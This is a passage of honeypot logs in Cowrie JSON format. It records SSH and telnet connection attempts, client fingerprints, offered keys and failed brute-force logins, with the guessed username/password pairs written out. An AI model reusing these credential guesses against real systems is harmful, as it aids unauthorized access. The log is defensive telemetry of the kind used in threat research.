failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.425569Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4f:49:fd:a8:8d:68:a2:e8:1d:98:66:f7:65:81:67:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUUBBwUYN+zP1vCUWzdnhUWZruU1IzqXe9afPS+5qBJ","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 4f:49:fd:a8:8d:68:a2:e8:1d:98:66:f7:65:81:67:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.504993Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4f:49:fd:a8:8d:68:a2:e8:1d:98:66:f7:65:81:67:13","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHUUBBwUYN+zP1vCUWzdnhUWZruU1IzqXe9afPS+5qBJ","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.507848Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:bb:fa:47:6a:a4:f4:e0:0c:14:42:60:13:95:74:82","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPxl8DCC8IdTEofsOJqezLTtO++2tpDu/i/WnY2m2pfmqwuhGHNfUqQJY9aX6QG8F4TQGvRZUDF+49uqW9HBneFY9A/kBOaCF21TcpB59wxA5dC5WzUD4tuuMiySKcdsHByH4niqcEoUpczBzOhIye1j4R+xf7Mqgtl4/MSw0OevAAAAFQCBX47DeY6RRtnVrewfMnIsySmctQAAAIAZNhwF8tV7THUxgFiifCqSIbVVPhM7VkDZswpsBVe6CbqwX8IUz4CcOvmH3wE+o0pWtel+ovWMeePhIvQXqIPjH+3QPyib298CDLkJ0Q+LHoKkdpDHP7JE2mn4l7n56Oj/LTjJ5CVl2ENUzT6imucgySoXheuy5JniaSqLXxdPHgAAAIBqPD3MaFfZwbrwjsKduO2yHwg+E/Vzmgi+g4l9jiRB5sEvPsLd+YGvURCIBypubp2otZCsfW3/aTrCSYftmQS3a95qlTgqJ6tZWlnoxBrUOuHn6PoD3IedailrmJ1GhvNQztLJ82HGJeDuuRjEzPUv+8nqkCA83tDMt1wfwDMnZw==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 31:bb:fa:47:6a:a4:f4:e0:0c:14:42:60:13:95:74:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.585366Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:bb:fa:47:6a:a4:f4:e0:0c:14:42:60:13:95:74:82","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPxl8DCC8IdTEofsOJqezLTtO++2tpDu/i/WnY2m2pfmqwuhGHNfUqQJY9aX6QG8F4TQGvRZUDF+49uqW9HBneFY9A/kBOaCF21TcpB59wxA5dC5WzUD4tuuMiySKcdsHByH4niqcEoUpczBzOhIye1j4R+xf7Mqgtl4/MSw0OevAAAAFQCBX47DeY6RRtnVrewfMnIsySmctQAAAIAZNhwF8tV7THUxgFiifCqSIbVVPhM7VkDZswpsBVe6CbqwX8IUz4CcOvmH3wE+o0pWtel+ovWMeePhIvQXqIPjH+3QPyib298CDLkJ0Q+LHoKkdpDHP7JE2mn4l7n56Oj/LTjJ5CVl2ENUzT6imucgySoXheuy5JniaSqLXxdPHgAAAIBqPD3MaFfZwbrwjsKduO2yHwg+E/Vzmgi+g4l9jiRB5sEvPsLd+YGvURCIBypubp2otZCsfW3/aTrCSYftmQS3a95qlTgqJ6tZWlnoxBrUOuHn6PoD3IedailrmJ1GhvNQztLJ82HGJeDuuRjEzPUv+8nqkCA83tDMt1wfwDMnZw==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.588733Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:7d:f8:f8:b8:32:af:3b:0f:9c:60:bf:e6:b2:03:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6+RBDtlp3AohIaFpO42t/X8tGyEK/+o5Ay2z3C/n3SWKVJJnFFRE5yR+HBKdujWczIDWK4+gwsKrLq71JzW0du/LtHmQ2967ouPMeXwIXjO/0iPD1Q9Tb2FWneGpceBL9bM194jFNaFO56ikB8aQkfB/A5IU9eTakEBTzemW3knaYzk0WYlpUPB6S91GvnWr+5DCWoT54AcHT2no/MYiEGIP4FN83AAhHBTBdy622AgqAGBpqyYI8af5ICWAqzgWQahVa1/DjjopTs/Xn2T/BVP3E5cHn4MdycCPSSlM43XXlS8KlLTRYzg0Q5rBHpSQvtYYtps268eyEGJv5jxzRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:7d:f8:f8:b8:32:af:3b:0f:9c:60:bf:e6:b2:03:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.666498Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:7d:f8:f8:b8:32:af:3b:0f:9c:60:bf:e6:b2:03:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA6+RBDtlp3AohIaFpO42t/X8tGyEK/+o5Ay2z3C/n3SWKVJJnFFRE5yR+HBKdujWczIDWK4+gwsKrLq71JzW0du/LtHmQ2967ouPMeXwIXjO/0iPD1Q9Tb2FWneGpceBL9bM194jFNaFO56ikB8aQkfB/A5IU9eTakEBTzemW3knaYzk0WYlpUPB6S91GvnWr+5DCWoT54AcHT2no/MYiEGIP4FN83AAhHBTBdy622AgqAGBpqyYI8af5ICWAqzgWQahVa1/DjjopTs/Xn2T/BVP3E5cHn4MdycCPSSlM43XXlS8KlLTRYzg0Q5rBHpSQvtYYtps268eyEGJv5jxzRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.669332Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:10.747023Z","src_ip":"208.115.214.194","session":"b294745fb696","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.219693660736084,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:14.974272Z","src_ip":"137.184.5.188","session":"384fbb7c028c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.202.129","src_port":46522,"dst_ip":"10.17.0.5","dst_port":22,"session":"53eefb1b9986","protocol":"ssh","message":"New connection: 192.169.202.129:46522 (10.17.0.5:22) [session: 53eefb1b9986]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:15.766237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:15.770101Z","src_ip":"192.169.202.129","session":"53eefb1b9986","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:15.838952Z","src_ip":"192.169.202.129","session":"53eefb1b9986","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Chr0m1@#Tr0ng!P@ss","message":"login attempt [root/Chr0m1@#Tr0ng!P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:16.035757Z","src_ip":"192.169.202.129","session":"53eefb1b9986","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:17.104009Z","src_ip":"192.169.202.129","session":"53eefb1b9986","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":56596,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ba43ce52f4","protocol":"ssh","message":"New connection: 80.94.92.55:56596 (10.17.0.5:22) [session: 58ba43ce52f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:22.236985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:22.998814Z","src_ip":"80.94.92.55","session":"58ba43ce52f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:23.031372Z","src_ip":"80.94.92.55","session":"58ba43ce52f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":47680,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e883e1fe961","protocol":"ssh","message":"New connection: 89.223.69.22:47680 (10.17.0.5:22) [session: 1e883e1fe961]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:23.389024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:23.392700Z","src_ip":"89.223.69.22","session":"1e883e1fe961","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:23.503788Z","src_ip":"89.223.69.22","session":"1e883e1fe961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtnthjr","message":"login attempt [root/dtnthjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:23.837537Z","src_ip":"89.223.69.22","session":"1e883e1fe961","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:24.951394Z","src_ip":"89.223.69.22","session":"1e883e1fe961","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:25.633276Z","src_ip":"80.94.92.55","session":"58ba43ce52f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.3","message":"Connection lost after 5.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:27.490792Z","src_ip":"80.94.92.55","session":"58ba43ce52f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":49824,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ab16caf916b","protocol":"ssh","message":"New connection: 159.65.58.200:49824 (159.203.135.109:22) [session: 6ab16caf916b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:29.691676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:29.911029Z","src_ip":"159.65.58.200","session":"6ab16caf916b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:29.913630Z","src_ip":"159.65.58.200","session":"6ab16caf916b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sikolen","password":"123456","message":"login attempt [sikolen/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:31.324706Z","src_ip":"159.65.58.200","session":"6ab16caf916b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:32.639053Z","src_ip":"159.65.58.200","session":"6ab16caf916b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39858,"dst_ip":"10.17.0.5","dst_port":23,"session":"9eeabe8d5db3","protocol":"telnet","message":"New connection: 94.23.66.112:39858 (10.17.0.5:23) [session: 9eeabe8d5db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:21:56.819975Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.56.160.82","src_port":32337,"dst_ip":"10.17.0.5","dst_port":22,"session":"649fcc080323","protocol":"ssh","message":"New connection: 218.56.160.82:32337 (10.17.0.5:22) [session: 649fcc080323]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:00.155406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:00.163687Z","src_ip":"218.56.160.82","session":"649fcc080323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:00.413493Z","src_ip":"218.56.160.82","session":"649fcc080323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30750,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3f3f02b3ae8","protocol":"ssh","message":"New connection: 194.59.206.2:30750 (159.203.135.109:22) [session: f3f3f02b3ae8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:01.397631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:01.401814Z","src_ip":"194.59.206.2","session":"f3f3f02b3ae8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hello1234@","message":"login attempt [root/Hello1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:01.444280Z","src_ip":"218.56.160.82","session":"649fcc080323","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:01.492827Z","src_ip":"194.59.206.2","session":"f3f3f02b3ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:01.586361Z","src_ip":"194.59.206.2","session":"f3f3f02b3ae8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:02.699847Z","src_ip":"218.56.160.82","session":"649fcc080323","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.123.17","src_port":51906,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f3e3f5ce85b","protocol":"telnet","message":"New connection: 8.210.123.17:51906 (10.17.0.5:23) [session: 6f3e3f5ce85b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:29.695593Z"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":39276,"dst_ip":"10.17.0.5","dst_port":23,"session":"1da55468c33d","protocol":"telnet","message":"New connection: 94.23.66.112:39276 (10.17.0.5:23) [session: 1da55468c33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:22:33.896762Z"}
